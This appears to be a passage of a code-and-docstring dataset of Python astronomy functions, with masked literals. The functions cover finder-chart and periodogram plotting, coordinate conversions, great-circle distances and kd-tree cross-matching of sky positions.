y2<EOL>ymax = y2 if y2 > y1 else y1<EOL>whdr = w.to_header()<EOL>whdr['<STR_LIT>'] = (xmax - xmin)/<NUM_LIT:2><EOL>whdr['<STR_LIT>'] = (ymax - ymin)/<NUM_LIT:2><EOL>whdr['<STR_LIT>'] = cntra<EOL>whdr['<STR_LIT>'] = cntdecl<EOL>whdr['<STR_LIT>'] = xmax - xmin<EOL>whdr['<STR_LIT>'] = ymax - ymin<EOL>w = WCS(whdr)<EOL><DEDENT>else:<EOL><INDENT>xmin, xmax, ymin, ymax = <NUM_LIT:0>, hdr['<STR_LIT>'], <NUM_LIT:0>, hdr['<STR_LIT>']<EOL><DEDENT>fig.add_subplot(<NUM_LIT>,projection=w)<EOL>if scale is not None and stretch is not None:<EOL><INDENT>norm = ImageNormalize(img,<EOL>interval=scale,<EOL>stretch=stretch)<EOL>plt.imshow(img[ymin:ymax,xmin:xmax],<EOL>origin='<STR_LIT>',<EOL>cmap=colormap,<EOL>norm=norm)<EOL><DEDENT>else:<EOL><INDENT>plt.imshow(img[ymin:ymax,xmin:xmax],<EOL>origin='<STR_LIT>',<EOL>cmap=colormap)<EOL><DEDENT>if grid:<EOL><INDENT>plt.grid(color=gridcolor,ls='<STR_LIT>',lw=<NUM_LIT:1.0>)<EOL><DEDENT>if overlay_ra is not None and overlay_decl is not None:<EOL><INDENT>our_pltopts = dict(<EOL>transform=plt.gca().get_transform('<STR_LIT>'),<EOL>marker='<STR_LIT:o>',<EOL>markersize=<NUM_LIT>,<EOL>markerfacecolor='<STR_LIT:none>',<EOL>markeredgewidth=<NUM_LIT>,<EOL>markeredgecolor='<STR_LIT>',<EOL>rasterized=True,<EOL>linestyle='<STR_LIT:none>'<EOL>)<EOL>if overlay_pltopts is not None and isinstance(overlay_pltopts,<EOL>dict):<EOL><INDENT>our_pltopts.update(overlay_pltopts)<EOL><DEDENT>plt.gca().set_autoscale_on(False)<EOL>plt.gca().plot(overlay_ra, overlay_decl,<EOL>**our_pltopts)<EOL><DEDENT>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>xax = plt.gca().coords[<NUM_LIT:0>]<EOL>yax = plt.gca().coords[<NUM_LIT:1>]<EOL>yax.set_major_formatter('<STR_LIT>')<EOL>xax.set_major_formatter('<STR_LIT>')<EOL>plt.savefig(outfile, dpi=<NUM_LIT>)<EOL>plt.close('<STR_LIT:all>')<EOL>return outfile<EOL>", "docstring": "This makes a finder chart for a given FITS with an optional object\n    position overlay.\n\n    Parameters\n    ----------\n\n    fitsfile : str\n        `fitsfile` is the FITS file to use to make the finder chart.\n\n    outfile : str\n        `outfile` is the name of the output file. This can be a png or pdf or\n        whatever else matplotlib can write given a filename and extension.\n\n    fitsext : int\n        Sets the FITS extension in `fitsfile` to use to extract the image array\n        from.\n\n    wcsfrom : str or None\n        If `wcsfrom` is None, the WCS to transform the RA/Dec to pixel x/y will\n        be taken from the FITS header of `fitsfile`. If this is not None, it\n        must be a FITS or similar file that contains a WCS header in its first\n        extension.\n\n    scale : astropy.visualization.Interval object\n        `scale` sets the normalization for the FITS pixel values. This is an\n        astropy.visualization Interval object.\n        See http://docs.astropy.org/en/stable/visualization/normalization.html\n        for details on `scale` and `stretch` objects.\n\n    stretch : astropy.visualization.Stretch object\n        `stretch` sets the stretch function for mapping FITS pixel values to\n        output pixel values. This is an astropy.visualization Stretch object.\n        See http://docs.astropy.org/en/stable/visualization/normalization.html\n        for details on `scale` and `stretch` objects.\n\n    colormap : matplotlib Colormap object\n        `colormap` is a matplotlib color map object to use for the output image.\n\n    findersize : None or tuple of two ints\n        If `findersize` is None, the output image size will be set by the NAXIS1\n        and NAXIS2 keywords in the input `fitsfile` FITS header. Otherwise,\n        `findersize` must be a tuple with the intended x and y size of the image\n        in inches (all output images will use a DPI = 100).\n\n    finder_coordlimits : list of four floats or None\n        If not None, `finder_coordlimits` sets x and y limits for the plot,\n        effectively zooming it in if these are smaller than the dimensions of\n        the FITS image. This should be a list of the form: [minra, maxra,\n        mindecl, maxdecl] all in decimal degrees.\n\n    overlay_ra, overlay_decl : np.array or None\n        `overlay_ra` and `overlay_decl` are ndarrays containing the RA and Dec\n        values to overplot on the image as an overlay. If these are both None,\n        then no overlay will be plotted.\n\n    overlay_pltopts : dict\n        `overlay_pltopts` controls how the overlay points will be plotted. This\n        a dict with standard matplotlib marker, etc. kwargs as key-val pairs,\n        e.g. 'markersize', 'markerfacecolor', etc. The default options make red\n        outline circles at the location of each object in the overlay.\n\n    overlay_zoomcontain : bool\n        `overlay_zoomcontain` controls if the finder chart will be zoomed to\n        just contain the overlayed points. Everything outside the footprint of\n        these points will be discarded.\n\n    grid : bool\n        `grid` sets if a grid will be made on the output image.\n\n    gridcolor : str\n        `gridcolor` sets the color of the grid lines. This is a usual matplotib\n        color spec string.\n\n    Returns\n    -------\n\n    str or None\n        The filename of the generated output image if successful. None\n        otherwise.", "id": "f14695:m3"}
{"signature": "def plot_periodbase_lsp(lspinfo, outfile=None, plotdpi=<NUM_LIT:100>):", "body": "<EOL>if isinstance(lspinfo,str) and os.path.exists(lspinfo):<EOL><INDENT>LOGINFO('<STR_LIT>' % lspinfo)<EOL>with open(lspinfo,'<STR_LIT:rb>') as infd:<EOL><INDENT>lspinfo = pickle.load(infd)<EOL><DEDENT><DEDENT>try:<EOL><INDENT>periods = lspinfo['<STR_LIT>']<EOL>lspvals = lspinfo['<STR_LIT>']<EOL>bestperiod = lspinfo['<STR_LIT>']<EOL>lspmethod = lspinfo['<STR_LIT>']<EOL>plt.plot(periods, lspvals)<EOL>plt.xscale('<STR_LIT>',basex=<NUM_LIT:10>)<EOL>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel(PLOTYLABELS[lspmethod])<EOL>plottitle = '<STR_LIT>' % (METHODSHORTLABELS[lspmethod],<EOL>bestperiod)<EOL>plt.title(plottitle)<EOL>for bestperiod, bestpeak in zip(lspinfo['<STR_LIT>'],<EOL>lspinfo['<STR_LIT>']):<EOL><INDENT>plt.annotate('<STR_LIT>' % bestperiod,<EOL>xy=(bestperiod, bestpeak), xycoords='<STR_LIT:data>',<EOL>xytext=(<NUM_LIT:0.0>,<NUM_LIT>), textcoords='<STR_LIT>',<EOL>arrowprops=dict(arrowstyle=\"<STR_LIT>\"),fontsize='<STR_LIT>')<EOL><DEDENT>plt.grid(color='<STR_LIT>',<EOL>alpha=<NUM_LIT>,<EOL>zorder=<NUM_LIT:0>,<EOL>linewidth=<NUM_LIT:1.0>,<EOL>linestyle='<STR_LIT::>')<EOL>if outfile and isinstance(outfile, str):<EOL><INDENT>if outfile.endswith('<STR_LIT>'):<EOL><INDENT>plt.savefig(outfile,bbox_inches='<STR_LIT>',dpi=plotdpi)<EOL><DEDENT>else:<EOL><INDENT>plt.savefig(outfile,bbox_inches='<STR_LIT>')<EOL><DEDENT>plt.close()<EOL>return os.path.abspath(outfile)<EOL><DEDENT>elif dispok:<EOL><INDENT>plt.show()<EOL>plt.close()<EOL>return<EOL><DEDENT>else:<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>outfile = '<STR_LIT>'<EOL>plt.savefig(outfile,bbox_inches='<STR_LIT>',dpi=plotdpi)<EOL>plt.close()<EOL>return os.path.abspath(outfile)<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>')<EOL>return<EOL><DEDENT>", "docstring": "Makes a plot of periodograms obtained from `periodbase` functions.\n\n    This takes the output dict produced by any `astrobase.periodbase`\n    period-finder function or a pickle filename containing such a dict and makes\n    a periodogram plot.\n\n    Parameters\n    ----------\n\n    lspinfo : dict or str\n        If lspinfo is a dict, it must be a dict produced by an\n        `astrobase.periodbase` period-finder function or a dict from your own\n        period-finder function or routine that is of the form below with at\n        least these keys::\n\n            {'periods': np.array of all periods searched by the period-finder,\n             'lspvals': np.array of periodogram power value for each period,\n             'bestperiod': a float value that is the period with the highest\n                           peak in the periodogram, i.e. the most-likely actual\n                           period,\n             'method': a three-letter code naming the period-finder used; must\n                       be one of the keys in the `METHODLABELS` dict above,\n             'nbestperiods': a list of the periods corresponding to periodogram\n                             peaks (`nbestlspvals` below) to annotate on the\n                             periodogram plot so they can be called out\n                             visually,\n             'nbestlspvals': a list of the power values associated with\n                             periodogram peaks to annotate on the periodogram\n                             plot so they can be called out visually; should be\n                             the same length as `nbestperiods` above}\n\n        If lspinfo is a str, then it must be a path to a pickle file that\n        contains a dict of the form described above.\n\n    outfile : str or None\n        If this is a str, will write the periodogram plot to the file specified\n        by this string. If this is None, will write to a file called\n        'lsp-plot.png' in the current working directory.\n\n    plotdpi : int\n        Sets the resolution in DPI of the output periodogram plot PNG file.\n\n    Returns\n    -------\n\n    str\n        Absolute path to the periodogram plot file created.", "id": "f14695:m4"}
{"signature": "def angle_wrap(angle, radians=False):", "body": "if radians:<EOL><INDENT>wrapped = angle % (<NUM_LIT>*pi_value)<EOL>if wrapped < <NUM_LIT:0.0>:<EOL><INDENT>wrapped = <NUM_LIT>*pi_value + wrapped<EOL><DEDENT><DEDENT>else:<EOL><INDENT>wrapped = angle % <NUM_LIT><EOL>if wrapped < <NUM_LIT:0.0>:<EOL><INDENT>wrapped = <NUM_LIT> + wrapped<EOL><DEDENT><DEDENT>return wrapped<EOL>", "docstring": "Wraps the input angle to 360.0 degrees.\n\n    Parameters\n    ----------\n\n    angle : float\n        The angle to wrap around 360.0 deg.\n\n    radians : bool\n        If True, will assume that the input is in radians. The output will then\n        also be in radians.\n\n    Returns\n    -------\n\n    float\n        Wrapped angle. If radians is True: input is assumed to be in radians,\n        output is also in radians.", "id": "f14696:m0"}
{"signature": "def decimal_to_dms(decimal_value):", "body": "if decimal_value < <NUM_LIT:0>:<EOL><INDENT>negative = True<EOL>dec_val = fabs(decimal_value)<EOL><DEDENT>else:<EOL><INDENT>negative = False<EOL>dec_val = decimal_value<EOL><DEDENT>degrees = trunc(dec_val)<EOL>minutes_deg = dec_val - degrees<EOL>minutes_mm = minutes_deg * <NUM_LIT><EOL>minutes_out = trunc(minutes_mm)<EOL>seconds = (minutes_mm - minutes_out)*<NUM_LIT><EOL>if negative:<EOL><INDENT>degrees = degrees<EOL>return '<STR_LIT:->', degrees, minutes_out, seconds<EOL><DEDENT>else:<EOL><INDENT>return '<STR_LIT:+>', degrees, minutes_out, seconds<EOL><DEDENT>", "docstring": "Converts from decimal degrees (for declination coords) to DD:MM:SS.\n\n    Parameters\n    ----------\n\n    decimal_value : float\n        A decimal value to convert to degrees, minutes, seconds sexagesimal\n        format.\n\n    Returns\n    -------\n\n    tuple\n        A four element tuple is returned: (sign, HH, MM, SS.ssss...)", "id": "f14696:m1"}
{"signature": "def decimal_to_hms(decimal_value):", "body": "<EOL>if decimal_value < <NUM_LIT:0>:<EOL><INDENT>dec_wrapped = <NUM_LIT> + decimal_value<EOL><DEDENT>else:<EOL><INDENT>dec_wrapped = decimal_value<EOL><DEDENT>dec_hours = dec_wrapped/<NUM_LIT><EOL>if dec_hours < <NUM_LIT:0>:<EOL><INDENT>negative = True<EOL>dec_val = fabs(dec_hours)<EOL><DEDENT>else:<EOL><INDENT>negative = False<EOL>dec_val = dec_hours<EOL><DEDENT>hours = trunc(dec_val)<EOL>minutes_hrs = dec_val - hours<EOL>minutes_mm = minutes_hrs * <NUM_LIT><EOL>minutes_out = trunc(minutes_mm)<EOL>seconds = (minutes_mm - minutes_out)*<NUM_LIT><EOL>if negative:<EOL><INDENT>hours = -hours<EOL>return hours, minutes_out, seconds<EOL><DEDENT>else:<EOL><INDENT>return hours, minutes_out, seconds<EOL><DEDENT>", "docstring": "Converts from decimal degrees (for RA coords) to HH:MM:SS.\n\n    Parameters\n    ----------\n\n    decimal_value : float\n        A decimal value to convert to hours, minutes, seconds. Negative values\n        will be wrapped around 360.0.\n\n    Returns\n    -------\n\n    tuple\n        A three element tuple is returned: (HH, MM, SS.ssss...)", "id": "f14696:m2"}
{"signature": "def hms_str_to_tuple(hms_string):", "body": "if '<STR_LIT::>' in hms_string:<EOL><INDENT>separator = '<STR_LIT::>'<EOL><DEDENT>else:<EOL><INDENT>separator = '<STR_LIT:U+0020>'<EOL><DEDENT>hh, mm, ss = hms_string.split(separator)<EOL>return int(hh), int(mm), float(ss)<EOL>", "docstring": "Converts a string of the form HH:MM:SS or HH MM SS to a tuple of the form\n    (HH, MM, SS).\n\n    Parameters\n    ----------\n\n    hms_string : str\n        A RA coordinate string of the form 'HH:MM:SS.sss' or 'HH MM SS.sss'.\n\n    Returns\n    -------\n\n    tuple\n        A three element tuple is returned (HH, MM, SS.ssss...)", "id": "f14696:m3"}
{"signature": "def dms_str_to_tuple(dms_string):", "body": "if '<STR_LIT::>' in dms_string:<EOL><INDENT>separator = '<STR_LIT::>'<EOL><DEDENT>else:<EOL><INDENT>separator = '<STR_LIT:U+0020>'<EOL><DEDENT>sign_dd, mm, ss = dms_string.split(separator)<EOL>if sign_dd.startswith('<STR_LIT:+>') or sign_dd.startswith('<STR_LIT:->'):<EOL><INDENT>sign, dd = sign_dd[<NUM_LIT:0>], sign_dd[<NUM_LIT:1>:]<EOL><DEDENT>else:<EOL><INDENT>sign, dd = '<STR_LIT:+>', sign_dd<EOL><DEDENT>return sign, int(dd), int(mm), float(ss)<EOL>", "docstring": "Converts a string of the form [+-]DD:MM:SS or [+-]DD MM SS to a tuple of\n    the form (sign, DD, MM, SS).\n\n    Parameters\n    ----------\n\n    dms_string : str\n        A declination coordinate string of the form '[+-]DD:MM:SS.sss' or\n        '[+-]DD MM SS.sss'. The sign in front of DD is optional. If it's not\n        there, this function will assume that the coordinate string is a\n        positive value.\n\n    Returns\n    -------\n\n    tuple\n        A four element tuple of the form: (sign, DD, MM, SS.ssss...).", "id": "f14696:m4"}
{"signature": "def hms_str_to_decimal(hms_string):", "body": "return hms_to_decimal(*hms_str_to_tuple(hms_string))<EOL>", "docstring": "Converts a HH:MM:SS string to decimal degrees.\n\n    Parameters\n    ----------\n\n    hms_string : str\n        A right ascension coordinate string of the form: 'HH:MM:SS.sss'\n        or 'HH MM SS.sss'.\n\n    Returns\n    -------\n\n    float\n        The RA value in decimal degrees (wrapped around 360.0 deg if necessary.)", "id": "f14696:m5"}
{"signature": "def dms_str_to_decimal(dms_string):", "body": "return dms_to_decimal(*dms_str_to_tuple(dms_string))<EOL>", "docstring": "Converts a DD:MM:SS string to decimal degrees.\n\n    Parameters\n    ----------\n\n    dms_string : str\n        A declination coordinate string of the form: '[+-]DD:MM:SS.sss'\n        or '[+-]DD MM SS.sss'.\n\n    Returns\n    -------\n\n    float\n        The declination value in decimal degrees.", "id": "f14696:m6"}
{"signature": "def hms_to_decimal(hours, minutes, seconds, returndeg=True):", "body": "if hours > <NUM_LIT>:<EOL><INDENT>return None<EOL><DEDENT>else:<EOL><INDENT>dec_hours = fabs(hours) + fabs(minutes)/<NUM_LIT> + fabs(seconds)/<NUM_LIT><EOL>if returndeg:<EOL><INDENT>dec_deg = dec_hours*<NUM_LIT><EOL>if dec_deg < <NUM_LIT:0>:<EOL><INDENT>dec_deg = dec_deg + <NUM_LIT><EOL><DEDENT>dec_deg = dec_deg % <NUM_LIT><EOL>return dec_deg<EOL><DEDENT>else:<EOL><INDENT>return dec_hours<EOL><DEDENT><DEDENT>", "docstring": "Converts from HH, MM, SS to a decimal value.\n\n    Parameters\n    ----------\n\n    hours : int\n        The HH part of a RA coordinate.\n\n    minutes : int\n        The MM part of a RA coordinate.\n\n    seconds : float\n        The SS.sss part of a RA coordinate.\n\n    returndeg : bool\n        If this is True, then will return decimal degrees as the output.\n        If this is False, then will return decimal HOURS as the output.\n        Decimal hours are sometimes used in FITS headers.\n\n    Returns\n    -------\n\n    float\n        The right ascension value in either decimal degrees or decimal hours\n        depending on `returndeg`.", "id": "f14696:m7"}
{"signature": "def dms_to_decimal(sign, degrees, minutes, seconds):", "body": "dec_deg = fabs(degrees) + fabs(minutes)/<NUM_LIT> + fabs(seconds)/<NUM_LIT><EOL>if sign == '<STR_LIT:->':<EOL><INDENT>return -dec_deg<EOL><DEDENT>else:<EOL><INDENT>return dec_deg<EOL><DEDENT>", "docstring": "Converts from DD:MM:SS to a decimal value.\n\n    Parameters\n    ----------\n\n    sign : {'+', '-', ''}\n        The sign part of a Dec coordinate.\n\n    degrees : int\n        The DD part of a Dec coordinate.\n\n    minutes : int\n        The MM part of a Dec coordinate.\n\n    seconds : float\n        The SS.sss part of a Dec coordinate.\n\n    Returns\n    -------\n\n    float\n        The declination value in decimal degrees.", "id": "f14696:m8"}
{"signature": "def great_circle_dist(ra1, dec1, ra2, dec2):", "body": "<EOL>in_ra1 = ra1 % <NUM_LIT><EOL>in_ra1 = in_ra1 + <NUM_LIT>*(in_ra1 < <NUM_LIT:0.0>)<EOL>in_ra2 = ra2 % <NUM_LIT><EOL>in_ra2 = in_ra2 + <NUM_LIT>*(in_ra1 < <NUM_LIT:0.0>)<EOL>ra1_rad, dec1_rad = np.deg2rad(in_ra1), np.deg2rad(dec1)<EOL>ra2_rad, dec2_rad = np.deg2rad(in_ra2), np.deg2rad(dec2)<EOL>del_dec2 = (dec2_rad - dec1_rad)/<NUM_LIT><EOL>del_ra2 = (ra2_rad - ra1_rad)/<NUM_LIT><EOL>sin_dist = np.sqrt(np.sin(del_dec2) * np.sin(del_dec2) +<EOL>np.cos(dec1_rad) * np.cos(dec2_rad) *<EOL>np.sin(del_ra2) * np.sin(del_ra2))<EOL>dist_rad = <NUM_LIT> * np.arcsin(sin_dist)<EOL>return np.rad2deg(dist_rad)*<NUM_LIT><EOL>", "docstring": "Calculates the great circle angular distance between two coords.\n\n    This calculates the great circle angular distance in arcseconds between two\n    coordinates (ra1,dec1) and (ra2,dec2). This is basically a clone of GCIRC\n    from the IDL Astrolib.\n\n    Parameters\n    ----------\n\n    ra1,dec1 : float or array-like\n        The first coordinate's right ascension and declination value(s) in\n        decimal degrees.\n\n    ra2,dec2 : float or array-like\n        The second coordinate's right ascension and declination value(s) in\n        decimal degrees.\n\n    Returns\n    -------\n\n    float or array-like\n        Great circle distance between the two coordinates in arseconds.\n\n    Notes\n    -----\n\n    If (`ra1`, `dec1`) is scalar and (`ra2`, `dec2`) is scalar: the result is a\n    float distance in arcseconds.\n\n    If (`ra1`, `dec1`) is scalar and (`ra2`, `dec2`) is array-like: the result\n    is an np.array with distance in arcseconds between (`ra1`, `dec1`) and each\n    element of (`ra2`, `dec2`).\n\n    If (`ra1`, `dec1`) is array-like and (`ra2`, `dec2`) is scalar: the result\n    is an np.array with distance in arcseconds between (`ra2`, `dec2`) and each\n    element of (`ra1`, `dec1`).\n\n    If (`ra1`, `dec1`) and (`ra2`, `dec2`) are both array-like: the result is an\n    np.array with the pair-wise distance in arcseconds between each element of\n    the two coordinate lists. In this case, if the input array-likes are not the\n    same length, then excess elements of the longer one will be ignored.", "id": "f14696:m9"}
{"signature": "def xmatch_basic(ra1, dec1, ra2, dec2, match_radius=<NUM_LIT>):", "body": "min_dist_arcsec = np.min(great_circle_dist(ra1,dec1,ra2,dec2))<EOL>if (min_dist_arcsec < match_radius):<EOL><INDENT>return (True,min_dist_arcsec)<EOL><DEDENT>else:<EOL><INDENT>return (False,min_dist_arcsec)<EOL><DEDENT>", "docstring": "Finds the closest object in (`ra2`, `dec2`) to scalar coordinate pair\n    (`ra1`, `dec1`) and returns the distance in arcseconds.\n\n    This is a quick matcher that uses the `great_circle_dist` function to find\n    the closest object in (`ra2`, `dec2`) within `match_radius` arcseconds to\n    (`ra1`, `dec1`). (`ra1`, `dec1`) must be a scalar pair, while\n    (`ra2`, `dec2`) must be array-likes of the same lengths.\n\n    Parameters\n    ----------\n\n    ra1,dec1 : float\n        Coordinate of the object to find matches to. In decimal degrees.\n\n    ra2,dec2 : array-like\n        The coordinates that will be searched for matches. In decimal degrees.\n\n    match_radius : float\n        The match radius in arcseconds to use for the match.\n\n    Returns\n    -------\n\n    tuple\n        A two element tuple like the following::\n\n            (True -> no match found or False -> found a match,\n             minimum distance between target and list in arcseconds)", "id": "f14696:m10"}
{"signature": "def xmatch_neighbors(ra1, dec1,<EOL>ra2, dec2,<EOL>match_radius=<NUM_LIT>,<EOL>includeself=False,<EOL>sortresults=True):", "body": "dist = great_circle_dist(ra1,dec1,ra2,dec2)<EOL>if includeself:<EOL><INDENT>match_dist_ind = np.where(dist < match_radius)<EOL><DEDENT>else:<EOL><INDENT>match_dist_ind = np.where((dist < match_radius) & (dist > <NUM_LIT:0.1>))<EOL><DEDENT>if len(match_dist_ind) > <NUM_LIT:0>:<EOL><INDENT>match_dists = dist[match_dist_ind]<EOL>dist_sort_ind = np.argsort(match_dists)<EOL>if sortresults:<EOL><INDENT>match_dist_ind = (match_dist_ind[<NUM_LIT:0>])[dist_sort_ind]<EOL><DEDENT>min_dist = np.min(match_dists)<EOL>return (True,min_dist,match_dist_ind,match_dists[dist_sort_ind])<EOL><DEDENT>else:<EOL><INDENT>return (False,)<EOL><DEDENT>", "docstring": "Finds the closest objects in (`ra2`, `dec2`) to scalar coordinate pair\n    (`ra1`, `dec1`) and returns the indices of the objects that match.\n\n    This is a quick matcher that uses the `great_circle_dist` function to find\n    the closest object in (`ra2`, `dec2`) within `match_radius` arcseconds to\n    (`ra1`, `dec1`). (`ra1`, `dec1`) must be a scalar pair, while\n    (`ra2`, `dec2`) must be array-likes of the same lengths.\n\n    Parameters\n    ----------\n\n    ra1,dec1 : float\n        Coordinate of the object to find matches to. In decimal degrees.\n\n    ra2,dec2 : array-like\n        The coordinates that will be searched for matches. In decimal degrees.\n\n    match_radius : float\n        The match radius in arcseconds to use for the match.\n\n    includeself : bool\n        If this is True, the object itself will be included in the match\n        results.\n\n    sortresults : bool\n        If this is True, the match indices will be sorted by distance.\n\n    Returns\n    -------\n\n    tuple\n        A tuple like the following is returned::\n\n            (True -> matches found or False -> no matches found,\n             minimum distance between target and list,\n             np.array of indices where list of coordinates is\n             closer than `match_radius` arcseconds from the target,\n             np.array of distances in arcseconds)", "id": "f14696:m11"}
{"signature": "def make_kdtree(ra, decl):", "body": "<EOL>cosdecl = np.cos(np.radians(decl))<EOL>sindecl = np.sin(np.radians(decl))<EOL>cosra = np.cos(np.radians(ra))<EOL>sinra = np.sin(np.radians(ra))<EOL>xyz = np.column_stack((cosra*cosdecl,sinra*cosdecl, sindecl))<EOL>kdt = sps.cKDTree(xyz,copy_data=True)<EOL>return kdt<EOL>", "docstring": "This makes a `scipy.spatial.CKDTree` on (`ra`, `decl`).\n\n    Parameters\n    ----------\n\n    ra,decl : array-like\n        The right ascension and declination coordinate pairs in decimal degrees.\n\n    Returns\n    -------\n\n    `scipy.spatial.CKDTree`\n        The cKDTRee object generated by this function is returned and can be\n        used to run various spatial queries.", "id": "f14696:m12"}
{"signature": "def conesearch_kdtree(kdtree,<EOL>racenter,<EOL>declcenter,<EOL>searchradiusdeg,<EOL>conesearchworkers=<NUM_LIT:1>):", "body": "cosdecl = np.cos(np.radians(declcenter))<EOL>sindecl = np.sin(np.radians(declcenter))<EOL>cosra = np.cos(np.radians(racenter))<EOL>sinra = np.sin(np.radians(racenter))<EOL>xyzdist = <NUM_LIT> * np.sin(np.radians(searchradiusdeg)/<NUM_LIT>)<EOL>kdtindices = kdtree.query_ball_point([cosra*cosdecl,<EOL>sinra*cosdecl,<EOL>sindecl],<EOL>xyzdist,<EOL>n_jobs=conesearchworkers)<EOL>return kdtindices<EOL>", "docstring": "This does a cone-search around (`racenter`, `declcenter`) in `kdtree`.\n\n    Parameters\n    ----------\n\n    kdtree : scipy.spatial.CKDTree\n        This is a kdtree object generated by the `make_kdtree` function.\n\n    racenter,declcenter : float or array-like\n        This is the center coordinate to run the cone-search around in decimal\n        degrees. If this is an np.array, will search for all coordinate pairs in\n        the array.\n\n    searchradiusdeg : float\n        The search radius to use for the cone-search in decimal degrees.\n\n    conesearchworkers : int\n        The number of parallel workers to launch for the cone-search.\n\n    Returns\n    -------\n\n    list or np.array of lists\n        If (`racenter`, `declcenter`) is a single coordinate, this will return a\n        list of the indices of the matching objects in the kdtree. If\n        (`racenter`, `declcenter`) are array-likes, this will return an object\n        array containing lists of matching object indices for each coordinate\n        searched.", "id": "f14696:m13"}
{"signature": "def xmatch_kdtree(kdtree,<EOL>extra, extdecl,<EOL>xmatchdistdeg,<EOL>closestonly=True):", "body": "ext_cosdecl = np.cos(np.radians(extdecl))<EOL>ext_sindecl = np.sin(np.radians(extdecl))<EOL>ext_cosra = np.cos(np.radians(extra))<EOL>ext_sinra = np.sin(np.radians(extra))<EOL>ext_xyz = np.column_stack((ext_cosra*ext_cosdecl,<EOL>ext_sinra*ext_cosdecl,<EOL>ext_sindecl))<EOL>ext_xyzdist = <NUM_LIT> * np.sin(np.radians(xmatchdistdeg)/<NUM_LIT>)<EOL>our_kdt = kdtree<EOL>ext_kdt = sps.cKDTree(ext_xyz)<EOL>extkd_matchinds = our_kdt.query_ball_tree(ext_kdt, ext_xyzdist)<EOL>ext_matchinds = []<EOL>kdt_matchinds = []<EOL>for extind, mind in enumerate(extkd_matchinds):<EOL><INDENT>if len(mind) > <NUM_LIT:0>:<EOL><INDENT>kdt_matchinds.append(extind)<EOL>if closestonly:<EOL><INDENT>ext_matchinds.append(mind[<NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>ext_matchinds.append(mind)<EOL><DEDENT><DEDENT><DEDENT>return kdt_matchinds, ext_matchinds<EOL>", "docstring": "This cross-matches between `kdtree` and (`extra`, `extdecl`) arrays.\n\n    Returns the indices of the kdtree and the indices of extra, extdecl that\n    xmatch successfully.\n\n    Parameters\n    ----------\n\n    kdtree : scipy.spatial.CKDTree\n        This is a kdtree object generated by the `make_kdtree` function.\n\n    extra,extdecl : array-like\n        These are np.arrays of 'external' coordinates in decimal degrees that\n        will be cross-matched against the objects in `kdtree`.\n\n    xmatchdistdeg : float\n        The match radius to use for the cross-match in decimal degrees.\n\n    closestonly : bool\n        If closestonly is True, then this function returns only the closest\n        matching indices in (extra, extdecl) for each object in kdtree if there\n        are any matches. Otherwise, it returns a list of indices in (extra,\n        extdecl) for all matches within xmatchdistdeg between kdtree and (extra,\n        extdecl).\n\n    Returns\n    -------\n\n    tuple of lists\n        Returns a tuple of the form::\n\n            (list of `kdtree` indices matching to external objects,\n             list of all `extra`/`extdecl` indices that match to each\n             element in `kdtree` within the specified cross-match distance)", "id": "f14696:m14"}
{"signature": "def total_proper_motion(pmra, pmdecl, decl):", "body": "pm = np.sqrt( pmdecl*pmdecl + pmra*pmra*np.cos(np.radians(decl)) *<EOL>np.cos(np.radians(decl)) )<EOL>return pm<EOL>", "docstring": "This calculates the total proper motion of an object.\n\n    Parameters\n    ----------\n\n    pmra : float or array-like\n        The proper motion(s) in right ascension, measured in mas/yr.\n\n    pmdecl : float or array-like\n        The proper motion(s) in declination, measured in mas/yr.\n\n    decl : float or array-like\n        The declination of the object(s) in decimal degrees.\n\n    Returns\n    -------\n\n    float or array-like\n        The total proper motion(s) of the object(s) in mas/yr.", "id": "f14696:m15"}
{"signature": "def reduced_proper_motion(mag, propermotion):", "body": "rpm = mag + <NUM_LIT>*np.log10(propermotion/<NUM_LIT>)<EOL>return rpm<EOL>", "docstring": "This calculates the reduced proper motion using the mag measurement\n    provided.\n\n    Parameters\n    ----------\n\n    mag : float or array-like\n        The magnitude(s) to use to calculate the reduced proper motion(s).\n\n    propermotion : float or array-like\n        The total proper motion of the object(s). Use the `total_proper_motion`\n        function to calculate this if you have `pmra`, `pmdecl`, and `decl`\n        values. `propermotion` should be in mas/yr.\n\n    Returns\n    -------\n\n    float or array-like\n        The reduced proper motion for the object(s). This is effectively a\n        measure of the absolute magnitude in the band provided.", "id": "f14696:m16"}
{"signature": "def equatorial_to_galactic(ra, decl, equinox='<STR_LIT>'):", "body": "<EOL>radecl = SkyCoord(ra=ra*u.degree, dec=decl*u.degree, equinox=equinox)<EOL>gl = radecl.galactic.l.degree<EOL>gb = radecl.galactic.b.degree<EOL>return gl, gb<EOL>", "docstring": "This converts from equatorial coords to galactic coords.\n\n    Parameters\n    ----------\n\n    ra : float or array-like\n        Right ascension values(s) in decimal degrees.\n\n    decl : float or array-like\n        Declination value(s) in decimal degrees.\n\n    equinox : str\n        The equinox that the coordinates are measured at. This must be\n        recognizable by Astropy's `SkyCoord` class.\n\n    Returns\n    -------\n\n    tuple of (float, float) or tuple of (np.array, np.array)\n        The galactic coordinates (l, b) for each element of the input\n        (`ra`, `decl`).", "id": "f14696:m17"}
{"signature": "def galactic_to_equatorial(gl, gb):", "body": "gal = SkyCoord(gl*u.degree, gl*u.degree, frame='<STR_LIT>')<EOL>transformed = gal.transform_to('<STR_LIT>')<EOL>return transformed.ra.degree, transformed.dec.degree<EOL>", "docstring": "This converts from galactic coords to equatorial coordinates.\n\n    Parameters\n    ----------\n\n    gl : float or array-like\n        Galactic longitude values(s) in decimal degrees.\n\n    gb : float or array-like\n        Galactic latitude value(s) in decimal degrees.\n\n    Returns\n    -------\n\n    tuple of (float, float) or tuple of (np.array, np.array)\n        The equatorial coordinates (RA, DEC) for each element of the input\n        (`gl`, `gb`) in decimal degrees. These are reported in the ICRS frame.", "id": "f14696:m18"}
